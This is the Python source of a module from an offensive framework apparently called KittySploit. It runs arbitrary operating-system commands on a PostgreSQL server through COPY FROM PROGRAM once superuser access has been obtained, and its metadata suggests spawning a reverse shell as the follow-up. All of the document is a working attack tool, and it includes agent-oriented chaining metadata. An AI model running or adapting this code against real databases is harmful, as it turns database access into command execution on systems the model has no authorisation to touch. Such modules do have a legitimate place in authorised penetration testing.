PostgreSQL COPY FROM PROGRAM
from kittysploit import *
from lib.protocols.postgresql.postgresql_client import PostgreSQLClient
class Module(Post, PostgreSQLClient):
__info__ = {
"name": "PostgreSQL COPY FROM PROGRAM",
"description": "Execute an OS command via COPY FROM PROGRAM (superuser required)",
"author": "KittySploit Team",
"session_type": SessionType.POSTGRESQL,
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'chain': {
'consumes_capabilities': ['db_access'],
'produces_capabilities': ['rce'],
'suggested_followups': ['post/shell/multi/manage/spawn_reverse_shell'],
},
},
}
command = OptString("id", "Shell command to run on the database server", True)
def run(self):
try:
if not self.is_superuser():
raise ProcedureError(
FailureType.NotAccess,
"COPY FROM PROGRAM requires superuser privileges",
)
cmd = str(self.command)
print_status(f"Executing: {cmd}")
conn = self.get_postgresql_connection()
conn.autocommit = True
with conn.cursor() as cur:
cur.execute("CREATE TEMP TABLE IF NOT EXISTS kittysploit_cmd_out (line text);")
cur.execute("TRUNCATE kittysploit_cmd_out;")
cur.execute(
"COPY kittysploit_cmd_out FROM PROGRAM %s;",
(cmd,),
)
cur.execute("SELECT line FROM kittysploit_cmd_out;")
rows = cur.fetchall()
if rows:
print_success("Command output:")
for (line,) in rows:
print_info(line)
else:
print_warning("Command ran but returned no output")
return True
except ProcedureError:
raise
except Exception as exc:
raise ProcedureError(
FailureType.Unknown, f"COPY FROM PROGRAM failed: {exc}"
)
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10 Jul 2026 11:31Current
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